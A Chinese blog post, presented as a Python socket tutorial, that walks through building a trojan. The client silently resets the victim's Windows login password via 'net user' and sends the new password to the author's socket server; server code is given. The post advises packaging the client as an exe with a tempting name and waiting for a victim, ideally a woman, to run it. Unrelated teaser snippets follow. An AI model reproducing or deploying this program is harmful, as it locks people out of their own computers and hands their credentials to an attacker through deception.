摘要:我們來(lái)用實(shí)現(xiàn)一個(gè)修改開(kāi)機(jī)密碼的小程序。的邏輯不復(fù)雜,核心代碼就一句話,通過(guò)模塊調(diào)用的,來(lái)達(dá)到修改密碼。控制,并修改密碼那么就是你想要修改的用戶(hù)名,一般有兩種操作,一種是直接修改他的,一種就是修改他現(xiàn)有的用戶(hù)。等待用戶(hù)雙擊即可。
對(duì)于學(xué)習(xí)Python這件事來(lái)說(shuō),很多人都覺(jué)得簡(jiǎn)單,那是因?yàn)槟銖膩?lái)沒(méi)有深入過(guò)。Python只是入門(mén)簡(jiǎn)單,語(yǔ)法易懂,里面的實(shí)現(xiàn)原理同樣是門(mén)藝術(shù)。
今天給大家講講socket,但是我知道,說(shuō)語(yǔ)法你們肯定不愛(ài)看,還嫌棄這的那的。那今天就用一個(gè)實(shí)例來(lái)給大家講講socket的實(shí)際用法。
你是不是心里一咯噔,不就是個(gè)聊天窗口嗎……對(duì)不起,你不愛(ài)我了。
我們來(lái)用socket實(shí)現(xiàn)一個(gè)修改windows開(kāi)機(jī)密碼的小程序。
1. client端client端需要讓用戶(hù)來(lái)執(zhí)行,所以當(dāng)我們寫(xiě)完客戶(hù)端后,需要包裝一下,用什么來(lái)包裝呢?全網(wǎng)首份Python打包工具Pyinstaller實(shí)戰(zhàn)指南,如絲滑般體驗(yàn),了解下。
親測(cè),有些人的電腦不是Administrator用戶(hù),所以需要他們使用管理員權(quán)限執(zhí)行。因?yàn)閏lient會(huì)調(diào)用 dos 命令。
client的邏輯不復(fù)雜,核心代碼就一句話,通過(guò) subprocess.Popen模塊調(diào)用windows的 dos cmd,來(lái)達(dá)到修改密碼。
# 控制windows cmd,并修改密碼 subprocess.Popen(["net", "User", user, pwd])
那么user就是你想要修改的用戶(hù)名,一般有兩種操作,一種是直接修改他的Administator,一種就是修改他現(xiàn)有的windows用戶(hù)。
# 獲取計(jì)算機(jī)用戶(hù)名 user = getpass.getuser()
密碼的話,我們自己隨機(jī)生成8位a-zA-Z0-9的字符串就好了。
# 生成a-zA-Z0-9的隨機(jī)密碼 letters = string.ascii_letters + string.digits pwd = "".join([random.choice(letters) for _ in range(8)])
最后客戶(hù)端需要把密碼發(fā)送給服務(wù)端,服務(wù)端記下來(lái),大功告成。
2. server端對(duì)于server端來(lái)說(shuō),我們需要做的是通過(guò)創(chuàng)建socket實(shí)例來(lái)接受客戶(hù)端發(fā)過(guò)來(lái)的密碼。
然后需要做到的是死循環(huán)。畢竟開(kāi)一個(gè)就關(guān)了的事情,你想重復(fù)開(kāi)啟server端也是可以的。
這里貼一下server端代碼
import socket # server端同樣需要通過(guò)創(chuàng)建socket,來(lái)監(jiān)聽(tīng)client請(qǐng)求 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 這里和客戶(hù)端不一樣的是,使用的是bind,代表server端自己的ip port server.bind(("192.168.31.246", 8080)) # 這里的參數(shù)5 代表的是同時(shí)監(jiān)聽(tīng)多少個(gè)客戶(hù)端,如果超過(guò)5個(gè),那么第6個(gè)客戶(hù)端會(huì)出現(xiàn)響應(yīng)等待,也就是卡在那了 server.listen(5) print("starting....") # 創(chuàng)建socket連接后,會(huì)返回連接實(shí)例和地址 conn, addr = server.accept() print(conn) print("client addr", addr) print("ready to recv the passwd...") while True: # 等待接受客戶(hù)端發(fā)過(guò)來(lái)的信息 client_msg = conn.recv(1024) print("client passwd changed: %s" % client_msg.decode())3. 實(shí)戰(zhàn)
windows開(kāi)啟客戶(hù)端
服務(wù)端接受
4. 后續(xù)你可以通過(guò)打包成exe,然后取個(gè)好聽(tīng)的名字,比如:2018年年度十佳車(chē)牌。
等待用戶(hù)雙擊即可。最好是個(gè)妹子,這樣不就聊上了
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://m.specialneedsforspecialkids.com/yun/43300.html
摘要:幾個(gè)月之內(nèi)就開(kāi)發(fā)了幾十款小程序的開(kāi)發(fā)者陳林,有著自己的解答。資深小程序開(kāi)發(fā)者陳林,是小程序風(fēng)口下的探索者之一,借助小程序無(wú)需安裝,易于傳播的特點(diǎn),陳林以小游戲類(lèi)目為核心,配合小程序間可相互跳轉(zhuǎn)的特性。 showImg(https://segmentfault.com/img/remote/1460000020165110);你是一條產(chǎn)品經(jīng)理,現(xiàn)在要出一個(gè)大型需求的方案,你會(huì)怎么做? ...
摘要:的特點(diǎn)主要有如下幾個(gè)唯一性時(shí)效性不可預(yù)測(cè)很多大型業(yè)務(wù)中,比如說(shuō)的找回密碼流程中,對(duì)于發(fā)給用戶(hù)的找回密碼鏈接郵件需要同時(shí)提交用戶(hù)輸入的驗(yàn)證碼和也就是該校驗(yàn)碼對(duì)應(yīng)的。 隨著互聯(lián)網(wǎng)的高速發(fā)展,WEB2.0網(wǎng)站的業(yè)務(wù)越來(lái)越龐大,一些token驗(yàn)證在許多場(chǎng)景下都必不可少,比如說(shuō)交易訂單的防止多次提交,重要的敏感操作防止CSRF(跨站請(qǐng)求偽造)攻擊,以及短信驗(yàn)證碼,找回密碼驗(yàn)證碼,注冊(cè)登錄圖形的生...
摘要:的特點(diǎn)主要有如下幾個(gè)唯一性時(shí)效性不可預(yù)測(cè)很多大型業(yè)務(wù)中,比如說(shuō)的找回密碼流程中,對(duì)于發(fā)給用戶(hù)的找回密碼鏈接郵件需要同時(shí)提交用戶(hù)輸入的驗(yàn)證碼和也就是該校驗(yàn)碼對(duì)應(yīng)的。 隨著互聯(lián)網(wǎng)的高速發(fā)展,WEB2.0網(wǎng)站的業(yè)務(wù)越來(lái)越龐大,一些token驗(yàn)證在許多場(chǎng)景下都必不可少,比如說(shuō)交易訂單的防止多次提交,重要的敏感操作防止CSRF(跨站請(qǐng)求偽造)攻擊,以及短信驗(yàn)證碼,找回密碼驗(yàn)證碼,注冊(cè)登錄圖形的生...
閱讀 4428·2021-09-09 09:33
閱讀 2386·2019-08-29 17:15
閱讀 2374·2019-08-29 16:21
閱讀 981·2019-08-29 15:06
閱讀 2620·2019-08-29 13:25
閱讀 582·2019-08-29 11:32
閱讀 3256·2019-08-26 11:55
閱讀 2594·2019-08-23 18:24